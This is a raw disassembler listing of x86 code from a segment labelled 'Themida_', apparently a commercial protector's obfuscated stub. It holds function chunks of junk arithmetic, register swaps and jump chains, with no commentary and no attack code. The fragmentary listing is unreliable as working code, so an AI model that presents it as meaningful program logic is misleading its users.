sub_56A119 loc_56A8A2: ; CODE XREF: sub_56A119+1Aj push 7568h mov [esp+0], edi mov edi, 923DE193h sub ebp, edi mov edi, [esp+0] add esp, 4 add eax, ebp pop ebp jmp loc_57116D ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_56A8C2: ; CODE XREF: sub_568D9E+AFD6j mov [esp+0], eax push ecx mov ecx, 31987FEEh mov eax, ecx pop ecx mov edi, eax mov eax, [esp+0] add esp, 4 push ebp mov ebp, 15AE6C66h mov eax, ebp pop ebp xchg eax, edi jmp loc_5716A6 ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5662F9 loc_56A8E5: ; CODE XREF: sub_5662F9+5E35j xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] jmp loc_569BA6 ; END OF FUNCTION CHUNK FOR sub_5662F9 ; --------------------------------------------------------------------------- loc_56A8F3: ; CODE XREF: Themida_:0056528Bj jmp loc_55FF9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_56A8F8: ; CODE XREF: sub_56628B+E05Dj mov [esp+0Ch+var_C], eax mov eax, 468E400Ch jmp loc_573C9D ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- loc_56A905: ; CODE XREF: Themida_:0056BD8Ej sub ebx, 84209FFDh add ecx, ebx pop ebx jmp loc_5655E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56A913: ; CODE XREF: sub_5678CB+24j mov [esp+0Eh+var_E], ecx mov ch, al mov bh, ch pop ecx jmp loc_566D2A ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574D8F loc_56A920: ; CODE XREF: sub_574D8F-90A3j pop esp mov [esp+0], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56A929: ; CODE XREF: sub_574CBE-B210j add eax, 650E4B2Dh add eax, ebx sub eax, 650E4B2Dh jmp loc_56EEBE ; END OF FUNCTION CHUNK FOR sub_574CBE ; --------------------------------------------------------------------------- loc_56A93A: ; CODE XREF: Themida_:00574F81j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] dec edi sub edi, 1848714Bh and edi, 6A7C090Ah push edx mov edx, 962D50C0h add edi, edx pop edx mov esi, edi jmp loc_570EE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56A968: ; CODE XREF: sub_5673C3-631Bj xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] and eax, esi pop esi or eax, eax jnz loc_570135 push 1 push dword ptr [esp+0] push [esp+4+var_4] mov edx, [esp+8+var_8] push ebp push esp pop ebp sub esp, 4 mov [esp+10h+var_10], eax jmp loc_573BA7 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_56A99B: ; CODE XREF: sub_565632+39A7j pop ecx push edi push [esp-0Ch+arg_C] pop edi pop [esp-0Ch+arg_8] pop esp or edx, eax shl edx, 1 push 2C75h mov [esp-10h+arg_C], ecx sub esp, 4 jmp loc_57258F ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_56A9BD: ; CODE XREF: sub_568E5C-772Ej not edx neg edx jmp loc_5646B6 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56A9C6: ; CODE XREF: sub_574656-10129j pop dword ptr [edi+24h] sub dword ptr [edi+24h], 288D37A7h push [esp-4+arg_0] pop eax push 3DC9h jmp loc_56776A ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56A9DE: ; CODE XREF: sub_5643EB+C7F4j pop edx mov edx, ebx pop ebx inc edx and edx, 0EF003F6h jmp loc_56C9CA ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_56A9EE: ; CODE XREF: sub_56FA15-3189j mov ah, 0AEh neg ah add ah, 0BCh neg ah add ah, 0C5h add ah, 9Ah jmp loc_5689BB ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56AA02: ; CODE XREF: sub_564D26+C0B3j mov [esp+28h+var_28], eax mov eax, 8E86689Dh add edi, eax mov eax, [esp+28h+var_28] push ebx jmp loc_57056F ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56AA15: ; CODE XREF: sub_56616D-2818j xor [esp+0], esi xor esi, [esp+0] jmp loc_566627 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56AA20: ; CODE XREF: sub_56102D-544j push edi mov edi, 4FC0190h jmp loc_56D634 ; END OF FUNCTION CHUNK FOR sub_56102D ; =============== S U B R O U T I N E ======================================= sub_56AA2B proc near ; CODE XREF: sub_566B79-4634j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056060F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005618BD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00569A6A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570CFF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572296 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00572CC4 SIZE 00000006 BYTES push ebx push esp mov ebx, [esp+8+var_8] add esp, 4 add ebx, 4 jmp loc_570CFF sub_56AA2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_56AA41: ; CODE XREF: sub_569D5F-886Dj pop ecx sub al, bh pop ebx push ebx mov bl, 0C6h dec bl xor bl, 83h add al, bl push [esp+4+var_4] pop ebx add esp, 4 add al, bl sub al, 46h push ebp jmp loc_56342A ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56AA60: ; CODE XREF: sub_564D26-3D8Fj and eax, edx push [esp+10h+var_10] push [esp+14h+var_14] pop edx add esp, 4 jmp loc_560F9C ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FAE2 loc_56AA71: ; CODE XREF: sub_56FAE2+482Ej add word ptr [esp-4+arg_0], 2 pop small word ptr [esp-4+arg_0] push bp mov bp, 2 add word ptr [esp-4+arg_0+2], bp pop bp jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56FAE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_56AA8D: ; CODE XREF: sub_569FB8+7C37j mov [esp+6+var_6], ecx sub esp, 4 mov [esp+0Ah+var_A], ebx mov bl, 94h mov ch, 0E2h jmp loc_56D8BC ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569D5F loc_56AAA2: ; CODE XREF: sub_569D5F+AF74j add al, cl mov ecx, [esp+4+var_4] add esp, 4 mov dx, [esp+0] jmp loc_56E848 ; END OF FUNCTION CHUNK FOR sub_569D5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_56AAB6: ; CODE XREF: sub_56959A+95EFj add ebx, eax push [esp+8+var_8] pop eax add esp, 4 pop edx jmp loc_56D39E ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57523A loc_56AAC5: ; CODE XREF: sub_57523A-EB04j push esi jmp loc_5624BC ; END OF FUNCTION CHUNK FOR sub_57523A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_56AACB: ; CODE XREF: sub_570732-BEFFj add ebx, 2D3C1DC4h pop esi push ebx jmp loc_569E5C ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5683C0 loc_56AAD8: ; CODE XREF: sub_5683C0-1F63j mov ebx, [esp+0Ch+var_C] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+10h+var_10] pop esp add edx, esi jmp sub_574C6D ; END OF FUNCTION CHUNK FOR sub_5683C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_56AAF2: ; CODE XREF: sub_56351E+1192Aj mov ecx, [esp+0] add esp, 4 add ecx, edi pop edi push ebp push ecx push 407B0EBAh pop ecx jmp loc_572548 ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_56AB0B: ; CODE XREF: sub_571C93+DFDj push edx mov edx, esp push ecx mov ecx, 4 add edx, ecx pop ecx add edx, 4 push edx push [esp+8+var_4] pop edx pop [esp+8+var_8] jmp loc_56B269 ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_56AB28: ; CODE XREF: sub_56B11B-80F0j mov eax, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] not eax push eax push dword ptr [esp+4] push [esp+8+var_8] pop eax push ebp push 5632h mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 jmp loc_56A496 ; END OF FUNCTION CHUNK FOR sub_56B11B ; =============== S U B R O U T I N E ======================================= sub_56AB51 proc near ; DATA XREF: Themida_:0055FD08o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561C51 SIZE 0000005B BYTES ; FUNCTION CHUNK AT 00563D91 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005658E4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00567786 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00569984 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056B96A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00570801 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00571D8E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00574446 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00575361 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0057540C SIZE 00000014 BYTES mov ax, [esp+0] push eax mov eax, esp push ecx jmp loc_561C51 sub_56AB51 endp ; =============== S U B R O U T I N E ======================================= sub_56AB5E proc near ; CODE XREF: sub_561C21+89D4j var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560684 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00560BDC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005618C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00562888 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562A80 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00562BFE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005632D4 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00563763 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563866 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00563A29 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056428E SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00566059 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005660D9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056639A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00566462 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005672AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005680B3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568320 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005690BD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005691B4 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056A562 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 0056AB85 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B6F5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C8CE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056C9FA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056CA8F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056CF46 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056D818 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DD6D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056E9BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056EAA5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056EB86 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005721BB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057230B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572BBF SIZE 00000038 BYTES ; FUNCTION CHUNK AT 00573A36 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005745EA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005751A9 SIZE 0000002E BYTES sub esp, 4 mov [esp+4+var_4], edx push eax mov al, 4Dh mov dh, 57h sub dh, 90h jmp loc_5691B4 sub_56AB5E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56AB74: ; CODE XREF: sub_571088+2ADFj mov dh, bl mov ah, dh jmp loc_562F6A ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56AB7D: ; CODE XREF: sub_56657A+ED45j push cx pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_56AB85: ; CODE XREF: sub_56AB5E-4A82j sub bh, ah push dx mov dh, 54h sub bh, 7Ah jmp loc_5632D4 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; =============== S U B R O U T I N E ======================================= sub_56AB93 proc near ; DATA XREF: Themida_:0055FE80o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562D7E SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00568CEB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056AC57 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056E610 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005746DB SIZE 00000006 BYTES mov ax, [esp+0] push 1B73h mov [esp+4+var_4], esi push 3029h mov [esp+8+var_8], esp push ebx mov ebx, 4 add [esp+0Ch+var_8], 648B2C7Bh add [esp+0Ch+var_8], ebx sub [esp+0Ch+var_8], 648B2C7Bh pop ebx mov esi, [esp+8+var_8] add esp, 4 jmp loc_5746DB sub_56AB93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56ABD0 proc near ; CODE XREF: sub_56E4D4+41F8j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00563F88 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571EB3 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00572D71 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00572E00 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0057319A SIZE 0000003D BYTES push ebp mov ebp, esp sub esp, 4 mov [esp+4+var_4], ecx mov ecx, 63C6166Dh sub ecx, 63C61669h add ebp, ecx mov ecx, [esp+4+var_4] add esp, 4 add ebp, 4 jmp loc_563F88 sub_56ABD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_56ABFA: ; CODE XREF: sub_569193-7ADBj mov [esp+0], ebx push 8000h jmp loc_567E80 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_56AC07: ; CODE XREF: sub_56FB8A+23A9j push edx mov edx, 0F6F4F66h sub ebx, edx pop edx push edi mov edi, 2761228h push ebx mov ebx, 491D589Eh and edi, ebx mov ebx, [esp+8+var_8] push edi mov edi, esp jmp loc_563A8A ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E27 loc_56AC29: ; CODE XREF: sub_570E27-5B1Cj mov [esp+0], edx mov edx, 88126D8h push eax push edi mov edi, 43E83E3Bh mov eax, edi mov edi, [esp+8+var_8] add esp, 4 or edx, eax pop eax jmp loc_562C72 ; END OF FUNCTION CHUNK FOR sub_570E27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56AC4B: ; CODE XREF: sub_56616D+C01Aj inc esi push ebp mov ebp, 0D4CB3B8Eh jmp loc_573B2F ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB93 loc_56AC57: ; CODE XREF: sub_56AB93-7DEFj mov [esp+0Ch+var_C], ecx sub esp, 4 mov [esp+10h+var_10], esp add [esp+10h+var_10], 4 pop ecx add ecx, 4 add ecx, 4 push ecx push [esp+10h+var_C] pop ecx pop [esp+10h+var_10] pop esp pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_56E610 ; END OF FUNCTION CHUNK FOR sub_56AB93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_56AC89: ; CODE XREF: sub_567C58-1C35j jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56AC8E: ; CODE XREF: sub_563A7F+8D18j movzx eax, al jmp loc_560750 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_56AC96: ; CODE XREF: sub_573612-6050j xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] mov esp, [esp+8+var_8] ror [esp-4+arg_0], cl pushf jmp loc_56F3F9 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_56ACAB: ; CODE XREF: sub_56F782-6DB6j push esp push [esp+0Ch+var_C] push [esp+10h+var_10] pop esi jmp loc_56B183 ; END OF FUNCTION CHUNK FOR sub_56F782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_56ACB8: ; CODE XREF: sub_561027+962Dj mov ebx, [esp+14h+var_14] jmp loc_5695C4 ; END OF FUNCTION CHUNK FOR sub_561027 ; =============== S U B R O U T I N E ======================================= sub_56ACC0 proc near ; CODE XREF: sub_566B37+1A39j var_4 = dword ptr -4 push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] mov esp, [esp+0] mov [esp+0], ax jmp loc_55FF9F sub_56ACC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56ACD5: ; CODE XREF: sub_57146D-16DBj pop esp push edx mov edx, esp jmp loc_562FCD ; END OF FUNCTION CHUNK FOR sub_57146D ; =============== S U B R O U T I N E ======================================= sub_56ACDE proc near ; CODE XREF: sub_56DA36-CE82j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00567435 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056BA33 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C6EB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00573E25 SIZE 00000026 BYTES push ebp mov ebp, 4AA764DDh push edi mov edi, 6CA92EE8h jmp loc_567435 sub_56ACDE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_56ACEF: ; CODE XREF: sub_57146D-5F2Ej add al, 1 neg al xor al, 0DCh mov dl, al pop eax jmp loc_561968 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_56ACFD: ; CODE XREF: sub_56C7AA-6860j pop ebx mov ebx, esi pop esi push ebx push eax pop ebx pop eax jmp loc_562F78 ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_56AD0A: ; CODE XREF: sub_563FA2+8CFCj mov eax, [esp+8+var_8] jmp loc_574DAC ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_56AD12: ; CODE XREF: sub_56D4B8-C99Cj mov eax, [esp+4+var_4] jmp loc_563BFB ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574C6D loc_56AD1A: ; CODE XREF: sub_574C6D-11789j push edx push [esp-4+arg_4] pop edx pop [esp-4+arg_0] mov esp, [esp-8+arg_4] test cl, al pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574C6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_56AD2E: ; CODE XREF: sub_57354D-C889j push 2A020706h pop ecx and ecx, 24E05C1Bh or ecx, 5E0157D2h jmp loc_574157 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_56AD45: ; CODE XREF: sub_563DCB+C4FEj mov dh, al mov ch, dh pop edx jmp loc_563655 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- loc_56AD4F: ; CODE XREF: Themida_:0056F801j pop ebp jmp loc_575426 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_56AD55: ; CODE XREF: sub_563FA2+DB33j mov esp, [esp+0] jmp loc_5753AE ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD38 loc_56AD5D: ; CODE XREF: sub_56FD38-3BBj xor ebx, 4C9C1E71h jmp loc_566E8A ; END OF FUNCTION CHUNK FOR sub_56FD38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_56AD68: ; CODE XREF: sub_56102D+F0C1j shl edx, 3 push eax mov eax, 1B571EEFh jmp loc_560AE6 ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56AD76: ; CODE XREF: sub_572075-657Ej pop esp mov [esp+0], ebp push [esp+arg_0] mov ebp, [esp+4+var_4] push edx jmp loc_56269D ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE9F loc_56AD87: ; CODE XREF: sub_56EE9F-E687j add ecx, edx jmp loc_564C68 ; END OF FUNCTION CHUNK FOR sub_56EE9F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_56AD8E: ; CODE XREF: sub_5643EB+1j mov ebp, 329940C1h or ebx, ebp pop ebp jmp loc_56798F ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_56AD9B: ; CODE XREF: sub_566C83-3B9Bj pop esi pop esi jmp sub_5634AF ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56ADA2: ; CODE XREF: sub_56616D+2F08j mov [esp-10h+arg_C], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp-10h+arg_C] xor [esp-10h+arg_C], edx xor edx, [esp-10h+arg_C] jmp loc_56B048 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56ADBE: ; CODE XREF: sub_56F1DB-BEA0j add eax, ebp sub eax, 35CF10B6h pop ebp add eax, 4 xchg eax, [esp-4+arg_0] pop esp push ebx push esp pop ebx push eax jmp loc_5600B7 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; =============== S U B R O U T I N E ======================================= sub_56ADD8 proc near ; CODE XREF: sub_574F16-133F3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056EACA SIZE 00000009 BYTES sub esp, 4 mov [esp+4+var_4], ebx mov ebx, 28h add ebx, edi mov [ebx], cl jmp loc_56EACA sub_56ADD8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567C58 loc_56ADEF: ; CODE XREF: sub_567C58-666Bj pop eax add esp, 4 add edi, 469BD1D6h sub ebp, 4C0851AEh sub ebp, edi add ebp, 4C0851AEh pop edi add eax, 60DF21F4h add eax, ebp push esi mov esi, 3FED5D3Fh neg esi push 118Dh mov [esp+14h+var_14], eax mov eax, 446C3564h jmp loc_5634F9 ; END OF FUNCTION CHUNK FOR sub_567C58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_56AE2C: ; CODE XREF: sub_56657A-289Ej mov edx, 7B630FB6h shl edx, 2 shl edx, 4 sub edx, 3996364Eh add edx, 0CED2C2F6h xor ebp, edx pop edx jmp loc_56472E ; END OF FUNCTION CHUNK FOR sub_56657A ; =============== S U B R O U T I N E ======================================= sub_56AE4B proc near ; CODE XREF: sub_5734A7-A4B2j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00564336 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C2B1 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00574CD8 SIZE 00000005 BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_564336 sub_56AE4B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0CB loc_56AE62: ; CODE XREF: sub_56E0CB-BFEFj pop ebx add esp, 4 jmp loc_55FFE5 ; END OF FUNCTION CHUNK FOR sub_56E0CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_56AE6B: ; CODE XREF: sub_569AB3-2D19j mov ebp, [esp+18h+var_18] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_560043 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567CF5 loc_56AE7F: ; CODE XREF: sub_567CF5-BB3j push ecx jmp loc_56A461 ; END OF FUNCTION CHUNK FOR sub_567CF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56AE85: ; CODE XREF: sub_563A7F+761j pop ebx jmp loc_574CC4 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_56AE8B: ; CODE XREF: sub_564BC5+D3EBj mov ecx, 3974C0Fh mov edx, ecx pop ecx xor edx, ebp xor ebp, edx xor edx, ebp jmp loc_571722 ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_56AE9E: ; CODE XREF: sub_574304-FE02j sub [esp+0Ch+var_C], 3C084177h pop edx push ebp mov ebp, 20E87545h xor ebp, 60A75598h jmp loc_57470E ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_56AEB7: ; CODE XREF: sub_571088+12j add esp, 4 jmp loc_566BFE ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_56AEC2: ; CODE XREF: sub_563DCB-769j mov [esp+0], eax mov al, 0A4h sub cl, al mov eax, [esp+0] push eax push esp mov eax, [esp] jmp loc_56F6C0 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56AED6: ; CODE XREF: sub_5673C3-EE3j xor [esp-4+arg_0], ebp jmp loc_573E92 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_56AEDE: ; CODE XREF: sub_574CBE-115AFj pop ecx pop [esp+8+var_8] pop esp mov [esp+0], edx mov edx, 553814ADh sub eax, edx jmp loc_56CBC6 ; END OF FUNCTION CHUNK FOR sub_574CBE ; =============== S U B R O U T I N E ======================================= sub_56AEF2 proc near ; CODE XREF: sub_568646+6625j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 0056002E SIZE 0000000A BYTES 